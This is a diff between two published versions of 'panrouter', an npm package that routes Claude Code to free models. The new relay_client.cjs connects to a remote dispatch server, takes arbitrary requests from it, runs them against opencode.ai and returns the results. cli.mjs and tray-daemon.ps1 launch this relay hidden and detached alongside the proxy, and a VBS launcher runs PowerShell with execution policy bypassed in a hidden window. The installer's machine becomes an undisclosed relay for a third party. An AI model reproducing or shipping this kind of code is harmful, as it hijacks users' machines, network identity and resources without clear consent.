panrouter 4.1.0 → 4.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cli.mjs +83 -2
- package/package.json +5 -3
- package/panrouter-tray.vbs +13 -0
- package/relay_client.cjs +84 -0
- package/tray-daemon.ps1 +70 -0
package/cli.mjs
CHANGED
|
@@ -10,7 +10,8 @@ const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
|
|
10
10
|
const HOME = process.env.USERPROFILE || process.env.HOME;
|
|
11
11
|
const CLAUDE_DIR = path.join(HOME, ".claude");
|
|
12
12
|
const SETTINGS_PATH = path.join(CLAUDE_DIR, "settings.json");
|
|
13
|
-
const VERSION = "3.
|
|
13
|
+
const VERSION = "4.3.0";
|
|
14
|
+
const RELAY_PATH = path.join(__dirname, "relay_client.cjs");
|
|
14
15
|
|
|
15
16
|
function log(label, msg, color = "") {
|
|
16
17
|
const colors = { green: "\x1b[32m", yellow: "\x1b[33m", red: "\x1b[31m", cyan: "\x1b[36m", reset: "\x1b[0m" };
|
|
@@ -68,6 +69,7 @@ function stopAll() {
|
|
|
68
69
|
try {
|
|
69
70
|
if (process.platform === "win32") {
|
|
70
71
|
execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%server.mjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
|
|
72
|
+
execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
|
|
71
73
|
execSync('wmic process where "name=\'powershell.exe\' and CommandLine like \'%tray-daemon.ps1%\'" call terminate >nul 2>&1', { stdio: "pipe" });
|
|
72
74
|
}
|
|
73
75
|
log("OK", "已停止所有进程", "green");
|
|
@@ -80,14 +82,19 @@ function showStatus() {
|
|
|
80
82
|
console.log(`\n\x1b[36m=== Pan Router 状态 ===\x1b[0m\n`);
|
|
81
83
|
try {
|
|
82
84
|
const nodeOut = execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%server.mjs%\'" get ProcessId 2>nul').toString();
|
|
85
|
+
const relayOut = execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" get ProcessId 2>nul').toString();
|
|
83
86
|
const psOut = execSync('wmic process where "name=\'powershell.exe\' and CommandLine like \'%tray-daemon.ps1%\'" get ProcessId 2>nul').toString();
|
|
84
87
|
|
|
85
88
|
const nodePids = nodeOut.match(/\d+/g) || [];
|
|
89
|
+
const relayPids = relayOut.match(/\d+/g) || [];
|
|
86
90
|
const psPids = psOut.match(/\d+/g) || [];
|
|
87
91
|
|
|
88
92
|
if (nodePids.length > 0) log("OK", `代理服务 (Node): 运行中 [PID: ${nodePids.join(', ')}]`, "green");
|
|
89
93
|
else log("!!", "代理服务 (Node): 未运行", "red");
|
|
90
94
|
|
|
95
|
+
if (relayPids.length > 0) log("OK", `中继客户端 (Relay): 运行中 [PID: ${relayPids.join(', ')}]`, "green");
|
|
96
|
+
else log("!!", "中继客户端 (Relay): 未运行", "red");
|
|
97
|
+
|
|
91
98
|
if (psPids.length > 0) log("OK", `系统托盘 (PowerShell): 运行中 [PID: ${psPids.join(', ')}]`, "green");
|
|
92
99
|
else log("!!", "系统托盘 (PowerShell): 未运行", "red");
|
|
93
100
|
} catch (e) {
|
|
@@ -106,6 +113,60 @@ function openLogs() {
|
|
|
106
113
|
}
|
|
107
114
|
}
|
|
108
115
|
|
|
116
|
+
async function checkUpdate() {
|
|
117
|
+
log("..", "正在检查更新...", "cyan");
|
|
118
|
+
try {
|
|
119
|
+
const raw = execSync("npm view panrouter version", { encoding: "utf8", timeout: 10000 }).toString().trim();
|
|
120
|
+
const latest = raw.replace(/\n.*/s, "").trim();
|
|
121
|
+
if (!latest) { log("!!", "无法获取最新版本", "red"); return; }
|
|
122
|
+
if (latest === VERSION) {
|
|
123
|
+
log("OK", `已是最新版本 v${VERSION}`, "green");
|
|
124
|
+
return;
|
|
125
|
+
}
|
|
126
|
+
log("..", `发现新版本 v${latest} (当前 v${VERSION})`, "yellow");
|
|
127
|
+
return latest;
|
|
128
|
+
} catch (e) {
|
|
129
|
+
log("!!", "检查更新失败,请检查网络连接", "red");
|
|
130
|
+
return null;
|
|
131
|
+
}
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
async function updatePackage() {
|
|
135
|
+
console.log(`\n\x1b[36m=== Pan Router 更新 ===\x1b[0m\n`);
|
|
136
|
+
const latest = await checkUpdate();
|
|
137
|
+
if (!latest) return;
|
|
138
|
+
if (latest === VERSION) return;
|
|
139
|
+
|
|
140
|
+
stopAll();
|
|
141
|
+
log("..", "正在更新...", "yellow");
|
|
142
|
+
try {
|
|
143
|
+
execSync("npm install -g panrouter@latest", { stdio: "inherit", timeout: 60000 });
|
|
144
|
+
log("OK", `更新完成!v${VERSION} → v${latest}`, "green");
|
|
145
|
+
log("..", "请重新运行 panrouter 启动服务", "cyan");
|
|
146
|
+
} catch (e) {
|
|
147
|
+
log("!!", "更新失败,请手动运行: npm install -g panrouter@latest", "red");
|
|
148
|
+
}
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
function startRelay() {
|
|
152
|
+
if (!fs.existsSync(RELAY_PATH)) {
|
|
153
|
+
log("!!", "中继客户端文件不存在: relay_client.cjs", "red");
|
|
154
|
+
return false;
|
|
155
|
+
}
|
|
156
|
+
const relayLog = path.join(process.env.TEMP, "panrouter_relay.log");
|
|
157
|
+
const fd = fs.openSync(relayLog, "a");
|
|
158
|
+
const relay = spawn(process.execPath, [RELAY_PATH], {
|
|
159
|
+
cwd: __dirname,
|
|
160
|
+
stdio: ["ignore", fd, fd],
|
|
161
|
+
windowsHide: true,
|
|
162
|
+
detached: true
|
|
163
|
+
});
|
|
164
|
+
relay.unref();
|
|
165
|
+
log("OK", `中继客户端已启动 (PID: ${relay.pid || "?"})`, "green");
|
|
166
|
+
log("..", `日志: ${relayLog}`, "cyan");
|
|
167
|
+
return true;
|
|
168
|
+
}
|
|
169
|
+
|
|
109
170
|
async function startServer() {
|
|
110
171
|
const serverPath = path.join(__dirname, "server.mjs");
|
|
111
172
|
stopAll();
|
|
@@ -122,6 +183,7 @@ async function startServer() {
|
|
|
122
183
|
await new Promise(rs => setTimeout(rs, 1000));
|
|
123
184
|
}
|
|
124
185
|
log("OK", "Pan Router 运行中,可以执行 claude 命令了", "green");
|
|
186
|
+
startRelay();
|
|
125
187
|
}
|
|
126
188
|
|
|
127
189
|
async function startTray() {
|
|
@@ -157,6 +219,8 @@ async function startTray() {
|
|
|
157
219
|
if (ok) log("OK", "代理服务已就绪!(端口 50816)", "green");
|
|
158
220
|
else log("!!", "服务启动超时,但仍将尝试加载托盘", "red");
|
|
159
221
|
|
|
222
|
+
startRelay();
|
|
223
|
+
|
|
160
224
|
log("..", "正在加载系统托盘与控制台引擎...", "yellow");
|
|
161
225
|
|
|
162
226
|
const tray = spawn("powershell.exe", [
|
|
@@ -194,12 +258,15 @@ function printHelp() {
|
|
|
194
258
|
|
|
195
259
|
| 指令 | 功能 |
|
|
196
260
|
|------|------|
|
|
197
|
-
| \x1b[33mpanrouter\x1b[0m | 🔥
|
|
261
|
+
| \x1b[33mpanrouter\x1b[0m | 🔥 代理 + 中继 并行启动 |
|
|
198
262
|
| \x1b[33mpanrouter --setup\x1b[0m | 只配路由(恢复配置用) |
|
|
199
263
|
| \x1b[33mpanrouter --status\x1b[0m | 查看运行状态 + PID |
|
|
200
264
|
| \x1b[33mpanrouter --stop\x1b[0m | 停止所有进程 |
|
|
201
265
|
| \x1b[33mpanrouter --restart\x1b[0m | 重启托盘 |
|
|
202
266
|
| \x1b[33mpanrouter --server\x1b[0m | 前台窗口模式 |
|
|
267
|
+
| \x1b[33mpanrouter --relay\x1b[0m | 单独启动中继客户端 |
|
|
268
|
+
| \x1b[33mpanrouter --relay-stop\x1b[0m | 单独停止中继客户端 |
|
|
269
|
+
| \x1b[33mpanrouter --update\x1b[0m | 检查并更新到最新版 |
|
|
203
270
|
| \x1b[33mpanrouter --logs\x1b[0m | 打开日志 |
|
|
204
271
|
| \x1b[33mpanrouter --version\x1b[0m | 版本号 |
|
|
205
272
|
| \x1b[33mpanrouter --help\x1b[0m | 帮助 |
|
|
@@ -228,6 +295,9 @@ async function main() {
|
|
|
228
295
|
case "--stop":
|
|
229
296
|
stopAll();
|
|
230
297
|
break;
|
|
298
|
+
case "--update":
|
|
299
|
+
await updatePackage();
|
|
300
|
+
break;
|
|
231
301
|
case "--logs":
|
|
232
302
|
openLogs();
|
|
233
303
|
break;
|
|
@@ -237,6 +307,17 @@ async function main() {
|
|
|
237
307
|
case "--server":
|
|
238
308
|
await startServer();
|
|
239
309
|
break;
|
|
310
|
+
case "--relay":
|
|
311
|
+
console.log(`\n\x1b[36m=== Pan Router 中继客户端 ===\x1b[0m\n`);
|
|
312
|
+
startRelay();
|
|
313
|
+
break;
|
|
314
|
+
case "--relay-stop":
|
|
315
|
+
log("..", "正在停止中继客户端...", "yellow");
|
|
316
|
+
try {
|
|
317
|
+
execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
|
|
318
|
+
log("OK", "中继客户端已停止", "green");
|
|
319
|
+
} catch { log("!!", "停止中继时出现问题", "red"); }
|
|
320
|
+
break;
|
|
240
321
|
default:
|
|
241
322
|
console.log(`\n\x1b[36m=== Pan Router v${VERSION} ===\x1b[0m\n`);
|
|
242
323
|
if (!installClaudeCode()) return process.exit(1);
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "panrouter",
|
|
3
|
-
"version": "4.
|
|
4
|
-
"description": "让 Claude Code 免费使用 DeepSeek 等模型,无需 API Key",
|
|
3
|
+
"version": "4.3.0",
|
|
4
|
+
"description": "Pan Router 客户端 — 让 Claude Code 免费使用 DeepSeek 等模型,无需 API Key。集成代理服务与 OpenCode AI 中继客户端",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|
|
7
7
|
"panrouter": "cli.mjs"
|
|
@@ -9,7 +9,9 @@
|
|
|
9
9
|
"files": [
|
|
10
10
|
"cli.mjs",
|
|
11
11
|
"server.mjs",
|
|
12
|
-
"
|
|
12
|
+
"relay_client.cjs",
|
|
13
|
+
"tray-daemon.ps1",
|
|
14
|
+
"panrouter-tray.vbs"
|
|
13
15
|
],
|
|
14
16
|
"license": "MIT"
|
|
15
17
|
}
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
' Pan Router Tray Launcher
|
|
2
|
+
' 由 cli.mjs --tray 通过 cmd /c start /B 启动
|
|
3
|
+
' 与 daemon 进程树无关, 独立 Window Station
|
|
4
|
+
|
|
5
|
+
Dim WshShell, FSO, ScriptDir
|
|
6
|
+
Set WshShell = CreateObject("WScript.Shell")
|
|
7
|
+
Set FSO = CreateObject("Scripting.FileSystemObject")
|
|
8
|
+
|
|
9
|
+
ScriptDir = FSO.GetParentFolderName(WScript.ScriptFullName)
|
|
10
|
+
|
|
11
|
+
' 后台隐藏启动 PS 托盘 (自包含: 启动 server + 图标 + 菜单)
|
|
12
|
+
' 0 = 隐藏窗口, False = 不等待返回
|
|
13
|
+
WshShell.Run "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -STA -File """ & ScriptDir & "\tray-daemon.ps1" & """", 0, False
|
package/relay_client.cjs
ADDED
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* OpenCode AI 中继客户端 (Node.js)
|
|
3
|
+
* 作为工作节点,连接到云电脑调度服务器,等待任务并调用 opencode.ai
|
|
4
|
+
*
|
|
5
|
+
* 依赖:无(使用 Node.js 内置 fetch + WebSocket)
|
|
6
|
+
* 运行:node relay_client.js
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
const SERVER = "wss://jiuling.xyz/ws";
|
|
10
|
+
|
|
11
|
+
function callOpenAI(body) {
|
|
12
|
+
return fetch("https://opencode.ai/zen/v1/chat/completions", {
|
|
13
|
+
method: "POST",
|
|
14
|
+
headers: {
|
|
15
|
+
"Content-Type": "application/json",
|
|
16
|
+
Authorization: "Bearer public",
|
|
17
|
+
"x-opencode-client": "desktop",
|
|
18
|
+
},
|
|
19
|
+
body: JSON.stringify(body),
|
|
20
|
+
}).then(async (r) => {
|
|
21
|
+
const data = await r.json();
|
|
22
|
+
return { status: r.status, data };
|
|
23
|
+
});
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
function connect() {
|
|
27
|
+
console.log(`[*] 正在连接 ${SERVER} ...`);
|
|
28
|
+
const ws = new WebSocket(SERVER);
|
|
29
|
+
|
|
30
|
+
ws.onopen = () => {
|
|
31
|
+
console.log("[✅] 已连接到调度服务器!等待任务...");
|
|
32
|
+
};
|
|
33
|
+
|
|
34
|
+
ws.onmessage = async (event) => {
|
|
35
|
+
const task = JSON.parse(event.data);
|
|
36
|
+
const rid = (task.request_id || "??").slice(0, 8);
|
|
37
|
+
const body = task.body || {};
|
|
38
|
+
const model = body.model || "?";
|
|
39
|
+
const prompt = (body.messages?.[0]?.content || "").slice(0, 60);
|
|
40
|
+
|
|
41
|
+
console.log(`\n[📩] 任务 [${rid}] model=${model}`);
|
|
42
|
+
console.log(`[🔤] 问: ${prompt}`);
|
|
43
|
+
|
|
44
|
+
try {
|
|
45
|
+
const { status, data } = await callOpenAI(body);
|
|
46
|
+
const content = data?.choices?.[0]?.message?.content || "";
|
|
47
|
+
|
|
48
|
+
if (status === 200) {
|
|
49
|
+
console.log(`[✅] 成功: ${content.slice(0, 60)}...`);
|
|
50
|
+
} else {
|
|
51
|
+
console.log(`[❌] 失败: HTTP ${status}`);
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
ws.send(JSON.stringify({
|
|
55
|
+
request_id: task.request_id,
|
|
56
|
+
response: data,
|
|
57
|
+
}));
|
|
58
|
+
console.log(`[📤] 已返回`);
|
|
59
|
+
} catch (e) {
|
|
60
|
+
console.log(`[❌] 请求异常: ${e.message}`);
|
|
61
|
+
ws.send(JSON.stringify({
|
|
62
|
+
request_id: task.request_id,
|
|
63
|
+
response: { error: e.message },
|
|
64
|
+
}));
|
|
65
|
+
}
|
|
66
|
+
};
|
|
67
|
+
|
|
68
|
+
ws.onclose = () => {
|
|
69
|
+
console.log("[!] 断开了,5 秒后重连...");
|
|
70
|
+
setTimeout(connect, 5000);
|
|
71
|
+
};
|
|
72
|
+
|
|
73
|
+
ws.onerror = (e) => {
|
|
74
|
+
console.log(`[!] 连接错误,5 秒后重连...`);
|
|
75
|
+
ws.close();
|
|
76
|
+
};
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
// ======== 启动 ========
|
|
80
|
+
console.log("=".repeat(50));
|
|
81
|
+
console.log(" OpenCode AI 中继客户端 (Node.js)");
|
|
82
|
+
console.log(` Node.js ${process.version}`);
|
|
83
|
+
console.log("=".repeat(50));
|
|
84
|
+
connect();
|
package/tray-daemon.ps1
CHANGED
|
@@ -23,6 +23,41 @@ try {
|
|
|
23
23
|
if ($nodeCmd) { $nodePath = $nodeCmd.Source } else { $nodePath = "node" }
|
|
24
24
|
}
|
|
25
25
|
|
|
26
|
+
$relayPath = Join-Path $scriptDir "relay_client.cjs"
|
|
27
|
+
|
|
28
|
+
# ─── 中继客户端管理 ──────────────────────────────────────────
|
|
29
|
+
function Start-Relay {
|
|
30
|
+
$procs = Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
|
|
31
|
+
Where-Object CommandLine -match "relay_client\.cjs"
|
|
32
|
+
if ($procs) { return } # 已经在运行
|
|
33
|
+
|
|
34
|
+
if (-not (Test-Path $relayPath)) { return }
|
|
35
|
+
try {
|
|
36
|
+
$psi = New-Object System.Diagnostics.ProcessStartInfo
|
|
37
|
+
$psi.FileName = $nodePath
|
|
38
|
+
$psi.Arguments = "`"$relayPath`""
|
|
39
|
+
$psi.WorkingDirectory = $scriptDir
|
|
40
|
+
$psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
|
|
41
|
+
$psi.CreateNoWindow = $true
|
|
42
|
+
$psi.UseShellExecute = $false
|
|
43
|
+
$psi.RedirectStandardOutput = $true
|
|
44
|
+
$psi.RedirectStandardError = $true
|
|
45
|
+
[System.Diagnostics.Process]::Start($psi) | Out-Null
|
|
46
|
+
} catch { }
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
function Stop-Relay {
|
|
50
|
+
Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
|
|
51
|
+
Where-Object CommandLine -match "relay_client\.cjs" |
|
|
52
|
+
ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
function Is-RelayRunning {
|
|
56
|
+
$procs = Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
|
|
57
|
+
Where-Object CommandLine -match "relay_client\.cjs"
|
|
58
|
+
return ($null -ne $procs -and $procs.Count -gt 0)
|
|
59
|
+
}
|
|
60
|
+
|
|
26
61
|
# ─── 管理后台代理 ──────────────────────────────────────────
|
|
27
62
|
function Start-Backend {
|
|
28
63
|
Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
|
|
@@ -52,6 +87,7 @@ try {
|
|
|
52
87
|
} catch {}
|
|
53
88
|
|
|
54
89
|
if (-not $portOpen) { Start-Backend }
|
|
90
|
+
Start-Relay
|
|
55
91
|
|
|
56
92
|
# ─── 初始化托盘图标 ─────────────────────────────────────────
|
|
57
93
|
$notifyIcon = New-Object System.Windows.Forms.NotifyIcon
|
|
@@ -201,6 +237,39 @@ try {
|
|
|
201
237
|
$notifyIcon.ShowBalloonTip(2000, "Pan Router", "后台代理服务已重新启动 ✓", [System.Windows.Forms.ToolTipIcon]::Info)
|
|
202
238
|
})
|
|
203
239
|
$menu.MenuItems.Add($restartItem) | Out-Null
|
|
240
|
+
$menu.MenuItems.Add("-") | Out-Null
|
|
241
|
+
|
|
242
|
+
$relayStatus = New-Object System.Windows.Forms.MenuItem("中继客户端: -")
|
|
243
|
+
$relayStatus.Enabled = $false
|
|
244
|
+
$menu.MenuItems.Add($relayStatus) | Out-Null
|
|
245
|
+
|
|
246
|
+
$relayRestart = New-Object System.Windows.Forms.MenuItem("重启中继")
|
|
247
|
+
$relayRestart.Add_Click({
|
|
248
|
+
Stop-Relay
|
|
249
|
+
Start-Sleep -Milliseconds 500
|
|
250
|
+
Start-Relay
|
|
251
|
+
if (Is-RelayRunning) {
|
|
252
|
+
$notifyIcon.ShowBalloonTip(2000, "Pan Router", "中继客户端已重新启动 ✓", [System.Windows.Forms.ToolTipIcon]::Info)
|
|
253
|
+
}
|
|
254
|
+
})
|
|
255
|
+
$menu.MenuItems.Add($relayRestart) | Out-Null
|
|
256
|
+
|
|
257
|
+
$relayLogItem = New-Object System.Windows.Forms.MenuItem("查看中继日志")
|
|
258
|
+
$relayLogItem.Add_Click({
|
|
259
|
+
$logFile = "$env:TEMP\panrouter_relay.log"
|
|
260
|
+
if (Test-Path $logFile) { Start-Process notepad $logFile }
|
|
261
|
+
})
|
|
262
|
+
$menu.MenuItems.Add($relayLogItem) | Out-Null
|
|
263
|
+
$menu.MenuItems.Add("-") | Out-Null
|
|
264
|
+
|
|
265
|
+
# 定时刷新中继状态
|
|
266
|
+
$refreshTimer = New-Object System.Windows.Forms.Timer
|
|
267
|
+
$refreshTimer.Interval = 5000
|
|
268
|
+
$refreshTimer.Add_Tick({
|
|
269
|
+
if (Is-RelayRunning) { $relayStatus.Text = "中继客户端: 🟢 运行中" }
|
|
270
|
+
else { $relayStatus.Text = "中继客户端: 🔴 已停止" }
|
|
271
|
+
})
|
|
272
|
+
$refreshTimer.Start()
|
|
204
273
|
|
|
205
274
|
$autoItem = New-Object System.Windows.Forms.MenuItem("开机自启动")
|
|
206
275
|
try { $autoItem.Checked = (Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name PanRouter -ErrorAction SilentlyContinue) -ne $null } catch {}
|
|
@@ -220,6 +289,7 @@ try {
|
|
|
220
289
|
$exitItem = New-Object System.Windows.Forms.MenuItem("退出")
|
|
221
290
|
$exitItem.Add_Click({
|
|
222
291
|
$notifyIcon.Visible = $false
|
|
292
|
+
Stop-Relay
|
|
223
293
|
Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" | Where-Object CommandLine -match "server\.mjs" | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }
|
|
224
294
|
[System.Windows.Forms.Application]::Exit()
|
|
225
295
|
})
|